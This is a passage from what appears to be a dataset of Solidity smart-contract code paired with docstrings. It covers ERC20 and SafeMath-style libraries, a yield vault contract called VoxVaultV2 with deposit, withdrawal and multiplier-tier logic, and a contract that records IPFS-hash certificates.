uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Lib is Context, IERC20Lib { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Lib { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20Lib token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20Lib token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Lib token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20Lib token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20Lib token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Lib token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } contract VoxVaultV2 is ERC20Lib, ReentrancyGuard { using SafeERC20Lib for IERC20Lib; using Address for address; using SafeMath for uint256; IERC20Lib internal token; IERC20Lib internal vox; address public underlying; uint256 public min = 9500; uint256 public constant max = 10000; uint256 public burnFee = 5000; uint256 public constant burnFeeMax = 7500; uint256 public constant burnFeeMin = 2500; uint256 public constant burnFeeBase = 10000; // Withdrawal fee uint256 public withdrawalFee = 15; uint256 public constant withdrawalFeeMax = 25; uint256 public constant withdrawalFeeBase = 10000; bool public isActive = false; address public governance; address public treasury; address public timelock; address public strategy; address public burn = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) public depositBlocks; mapping(address => uint256) public deposits; mapping(address => uint256) public issued; mapping(address => uint256) public tiers; uint256[] public multiplierCosts; uint256 internal constant tierBase = 100; uint256 public totalDeposited = 0; // EVENTS event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event SharesIssued(address indexed user, uint256 amount); event SharesPurged(address indexed user, uint256 amount); event ClaimRewards(address indexed user, uint256 amount); event MultiplierPurchased(address indexed user, uint256 tiers, uint256 totalCost); constructor( address _underlying, address _vox, address _governance, address _treasury, address _timelock ) public ERC20Lib( string(abi.encodePacked("voxie ", ERC20Lib(_underlying).name())), string(abi.encodePacked("v", ERC20Lib(_underlying).symbol())) ) { require( address(_underlying) != address(_vox), "!underlying equal to vox"); _setupDecimals(ERC20Lib(_underlying).decimals()); token = IERC20Lib(_underlying); vox = IERC20Lib(_vox); underlying = _underlying; governance = _governance; treasury = _treasury; timelock = _timelock; // multiplier costs from tier 1 to 5 multiplierCosts.push(31250000000000000); multiplierCosts.push(125000000000000000); multiplierCosts.push(281250000000000000); multiplierCosts.push(500000000000000000); multiplierCosts.push(781250000000000000); } // **** Modifiers **** // modifier isTimelock { require( msg.sender == timelock, "!timelock" ); _; } modifier isGovernance { require( msg.sender == governance, "!governance" ); _; } // Check the total underyling token balance to see if we should earn(); function balance() public view returns (uint256) { return token.balanceOf(address(this)).add( IStrategy(strategy).balanceOf() ); } // Sets whether deposits are accepted by the vault function setActive(bool _isActive) public isGovernance { isActive = _isActive; } // Set the minimum percentage of tokens that can be deposited to earn function setMin(uint256 _min) external isGovernance { require(_min <= max, "numerator cannot be greater than denominator"); min = _min; } // Set a new governance address, can only be triggered by the old address function setGovernance(address _governance) public isGovernance { governance = _governance; } // Set the timelock address, can only be triggered by the old address function setTimelock(address _timelock) public isTimelock { timelock = _timelock; } // Set a new strategy address, can only be triggered by the timelock function setStrategy(address _strategy) public isTimelock { require(IStrategy(_strategy).underlying() == address(token), '!underlying'); strategy = _strategy; } // Set the burn fee for multipliers function setBurnFee(uint256 _burnFee) public isTimelock { require(_burnFee <= burnFeeMax, 'burn max'); require(_burnFee >= burnFeeMin, 'burn min'); burnFee = _burnFee; } // Set withdrawal fee for the vault function setWithdrawalFee(uint256 _withdrawalFee) external isTimelock { require(_withdrawalFee <= withdrawalFeeMax, "!max withdrawal fee"); withdrawalFee = _withdrawalFee; } // Add a new multplier with the selected cost function addMultiplier(uint256 _cost) public isTimelock returns (uint256 index) { multiplierCosts.push(_cost); index = multiplierCosts.length - 1; } // Set new cost for multiplier, can only be triggered by the timelock function setMultiplier(uint256 index, uint256 _cost) public isTimelock { multiplierCosts[index] = _cost; } // Custom logic in here for how much of the underlying asset can be deposited // Sets the minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint256) { return token.balanceOf(address(this)).mul(min).div(max); } // Deposits collected underlying assets into the strategy and starts earning function earn() public { require(isActive, 'vault is not active'); require(strategy != address(0), 'strategy is not set'); uint256 _bal = available(); token.safeTransfer(strategy, _bal); IStrategy(strategy).deposit(); } // Deposits underlying assets from the user into the vault contract function deposit(uint256 _amount) public nonReentrant { require(!address(msg.sender).isContract() && msg.sender == tx.origin, "!no contract"); require(isActive, 'vault is not active'); require(strategy != address(0), 'strategy is not yet set'); uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens deposits[msg.sender] = deposits[msg.sender].add(_amount); totalDeposited = totalDeposited.add(_amount); uint256 shares = 0; if (totalSupply() == 0) { uint256 userMultiplier = tiers[msg.sender].add(tierBase); shares = _amount.mul(userMultiplier).div(tierBase); } else { uint256 userMultiplier = tiers[msg.sender].add(tierBase); shares = (_amount.mul(userMultiplier).div(tierBase).mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); issued[msg.sender] = issued[msg.sender].add(shares); depositBlocks[msg.sender] = block.number; emit Deposit(msg.sender, _amount); emit SharesIssued(msg.sender, shares); } // Deposits all the funds of the user function depositAll() external { deposit(token.balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint256 _amount) public nonReentrant { require(!address(msg.sender).isContract() && msg.sender == tx.origin, "!no contract"); require(block.number > depositBlocks[msg.sender], 'withdraw: not the same block as deposits'); require(_amount > 0, 'withdraw: positive amount'); require(_amount <= deposits[msg.sender], 'withdraw: more than deposited'); require(issued[msg.sender] > 0, 'withdraw: you need to first make a deposit'); // Get the amount of user shares uint256 shares = issued[msg.sender]; // Calculate percentage of principal being withdrawn uint256 p = (_amount.mul(1e18).div(deposits[msg.sender])); // Calculate amount of shares to be burned uint256 r = shares.mul(p).div(1e18); // Make sure the user has the required amount in his balance require(balanceOf(msg.sender) >= r, "withdraw: not enough shares in balance"); // Burn the proportion of shares that are being withdrawn _burn(msg.sender, r); // Reduce the amount from user's issued amount issued[msg.sender] = issued[msg.sender].sub(r); // Calculate amount of rewards the user has gained uint256 rewards = balance().sub(totalDeposited); uint256 userRewards = 0; if (rewards > 0) { userRewards = (rewards.mul(shares)).div(totalSupply()); } // Receive the correct proportion of the rewards if (userRewards > 0) { userRewards = userRewards.mul(p).div(1e18); } // Calculate the withdrawal amount as _amount + user rewards uint256 withdrawAmount = _amount.add(userRewards); // Check balance uint256 b = token.balanceOf(address(this)); if (b < withdrawAmount) { uint256 _withdraw = withdrawAmount.sub(b); IStrategy(strategy).withdraw(_withdraw); uint256 _after = token.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < _withdraw) { withdrawAmount = b.add(_diff); } } // Remove the withdrawn principal from total and user deposits deposits[msg.sender] = deposits[msg.sender].sub(_amount); totalDeposited = totalDeposited.sub(_amount); // Calculate withdrawal fee and deduct from amount uint256 _withdrawalFee = _amount.mul(withdrawalFee).div(withdrawalFeeBase); token.safeTransfer(treasury, _withdrawalFee); token.safeTransfer(msg.sender, withdrawAmount.sub(_withdrawalFee)); // Emit events emit Withdraw(msg.sender, _amount); emit SharesPurged(msg.sender, r); emit ClaimRewards(msg.sender, userRewards); } // Withdraws all underlying assets belonging to the user function withdrawAll() external { withdraw(deposits[msg.sender]); } function pendingRewards(address account) external view returns (uint256) { // Calculate amount of rewards the user has gained uint256 rewards = balance().sub(totalDeposited); uint256 shares = issued[account]; if (rewards > 0) { return (rewards.mul(shares)).div(totalSupply()); } } // Purchase a multiplier tier for the user function purchaseMultiplier(uint256 _tiers) external returns (uint256 newTier) { require(isActive, 'vault is not active'); require(strategy != address(0), 'strategy is not yet set'); require(_tiers > 0, 'you need to purchase at least one multiplier'); uint256 multipliersLength = multiplierCosts.length; require(tiers[msg.sender].add(_tiers) <= multipliersLength, 'you can not purchase so many tiers'); uint256 totalCost = 0; uint256 lastMultiplier = tiers[msg.sender].add(_tiers); for (uint256 i = tiers[msg.sender]; i < multipliersLength; i++) { if (i == lastMultiplier) { break; } totalCost = totalCost.add(multiplierCosts[i]); } require(IERC20Lib(vox).balanceOf(msg.sender) >= totalCost, 'you do not have enough VOX to purchase the multiplier tiers'); vox.safeTransferFrom(msg.sender, address(this), totalCost); newTier = tiers[msg.sender].add(_tiers); tiers[msg.sender] = newTier; emit MultiplierPurchased(msg.sender, _tiers, totalCost); } // Distribute the VOX tokens collected by the multiplier purchases function distribute() external isGovernance { uint256 b = vox.balanceOf(address(this)); if (b > 0) { uint256 toBurn = b.mul(burnFee).div(burnFeeBase); uint256 leftover = b.sub(toBurn); vox.safeTransfer(burn, toBurn); vox.safeTransfer(treasury, leftover); } } // Used to salvage any non-underlying assets to the treasury function salvage(address reserve, uint256 amount) external { require(msg.sender == governance, "!governance"); require(reserve != address(token), "token"); require(reserve != address(vox), "vox"); IERC20Lib(reserve).safeTransfer(treasury, amount); } // Helper function when migrating to new version function setMultiplier(address account, uint256 multiplier) external isGovernance { require(multiplier <= multiplierCosts.length, 'multiplier value too high'); tiers[account] = multiplier; } // Returns the current multiplier tier for the user function getMultiplier() external view returns (uint256) { return tiers[msg.sender]; } // Returns the next multiplier tier cost for the user function getNextMultiplierCost() external view returns (uint256) { require(tiers[msg.sender] < multiplierCosts.length, 'all tiers have already been purchased'); return multiplierCosts[tiers[msg.sender]]; } // Returns the total number of multipliers function getCountOfMultipliers() external view returns (uint256) { return multiplierCosts.length; } // Returns the current ratio between earned assets and deposited assets function getRatio() public view returns (uint256) { return (balance().sub(totalDeposited)).mul(1e18).div(totalSupply()); } }
Sets whether deposits are accepted by the vault
function setActive(bool _isActive) public isGovernance { isActive = _isActive; }
1,431
pragma solidity ^0.4.16; // This is the main contract of our dApp // It stores the association between users (Ethereum addresses) with their certificates (IPFS hashes) contract UserCertificates { //A certificate is represented by issuer and hash in IPFS struct Certificate { address issuer; string ipfsHash; } address private owner; uint public price; mapping (address => Certificate[]) private userCertificates; mapping (string => bool) private certificates; modifier onlyOwner { require(msg.sender == owner); _; } modifier costs(uint _price) { if (msg.value >= _price) { _; } } //Equal function for 2 strings. Research: this could be more efficient by comparing their hashes function stringsEqual(string storage _a, string memory _b) internal returns (bool) { bytes storage a = bytes(_a); bytes memory b = bytes(_b); if (a.length != b.length) { return false; } // @todo unroll this loop for (uint i = 0; i < a.length; i ++) { if (a[i] != b[i]) { return false; } } return true; } event CertificateIssued(address indexed _from, address indexed _to, string _ipfsHash); event CertificateRevoked(address indexed _from, address indexed _to, string _ipfsHash); function UserCertificates() public { owner = msg.sender; price = 0;//10000000000000000;//wei } //Set the minimum value to be transfer to create a certificate function setPrice(uint _price) onlyOwner public { price = _price; } //withdraw funds from contract to owner address function withdrawFunds(uint amount) onlyOwner public returns(bool) { require(amount <= this.balance); owner.transfer(amount); return true; } //Checks if certificate with same ipfs hash has been already published function certificateExists(string ipfsHash) public constant returns (bool) { if (certificates[ipfsHash]==true) { return true; } else { return false; } } //Adds a certificate (sender + hash) to a user function addCertificate(address user, string ipfsHash) public payable costs(price) { //check the sender and receiver are different require (msg.sender != user); //check certificate doesn't exist require(!certificateExists(ipfsHash)); //add certificate userCertificates[user].push(Certificate(msg.sender, ipfsHash)); certificates[ipfsHash] = true; //trigger event CertificateIssued(msg.sender, user, ipfsHash); } //Revokes previously added certificate function revokeCertificate(address user, string ipfsHash) public { //check certificate exist require(certificateExists(ipfsHash)); Certificate[] storage certs = userCertificates[user]; bool found = false; uint i = 0; while (!found && i<certs.length) { found = (stringsEqual(certs[i].ipfsHash, ipfsHash)); i++; } require(found);//exists require(certs[i-1].issuer == msg.sender || msg.sender == owner);//being revoked for same issuer or owner delete certs[i-1]; if (certs.length > 1) { certs[i-1] = certs[certs.length-1];//fill the gap } certs.length--; certificates[ipfsHash] = false; CertificateRevoked(msg.sender, user, ipfsHash); } //Return the number of certificates associated to user function getNumberCertificatesUser(address user) public constant returns (uint) { return userCertificates[user].length; } //Returns certificate for user in specific index position. This is neccesary because currently it is not possible to return array of strings function getUserCertificateAtIndex(address user, uint256 index) public constant returns (address, string) { require(userCertificates[user].length>index); Certificate storage cert = userCertificates[user][index]; return (cert.issuer, cert.ipfsHash); } }
Returns certificate for user in specific index position. This is neccesary because currently it is not possible to return array of strings
function getUserCertificateAtIndex(address user, uint256 index) public constant returns (address, string) { require(userCertificates[user].length>index); Certificate storage cert = userCertificates[user][index]; return (cert.issuer, cert.ipfsHash); }
12,689,046
./full_match/1/0x33A8d92B2BE84755441C2b6e39715c4b8938242c/sources/contracts/libraries/Fixed.sol
Add a uint192 to this uint192 return x + y as-ints: x + y
function plus(uint192 x, uint192 y) internal pure returns (uint192) { return x + y; }
3,864,913
// File: contracts/tokens/IERC20.sol pragma solidity 0.5.14; /** * Abstract contract(interface) for the full ERC 20 Token standard * see https://github.com/ethereum/EIPs/issues/20 * This is a simple fixed supply token contract. */ contract ERC20 { /** * Get the total token supply */ function totalSupply() public view returns (uint256 supply); /** * Get the account balance of an account with address _owner */ function balanceOf(address _owner) public view returns (uint256 balance); /** * Send _value amount of tokens to address _to * Only the owner can call this function */ function transfer(address _to, uint256 _value) public returns (bool success); /** * Send _value amount of tokens from address _from to address _to */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /** Allow _spender to withdraw from your account, multiple times, up to the _value amount. * If this function is called again it overwrites the current allowance with _value. * this function is required for some DEX functionality */ function approve(address _spender, uint256 _value) public returns (bool success); /** * Returns the amount which _spender is still allowed to withdraw from _owner */ function allowance(address _owner, address _spender) public view returns (uint256 remaining); /** * Triggered when tokens are transferred from one address to another */ event Transfer(address indexed from, address indexed to, uint256 value); /** * Triggered whenever approve(address spender, uint256 value) is called. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/library/SafeERC20.sol pragma solidity 0.5.14; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( ERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } // File: contracts/library/SafeMath.sol pragma solidity 0.5.14; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: contracts/library/SignedSafeMath.sol pragma solidity 0.5.14; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), 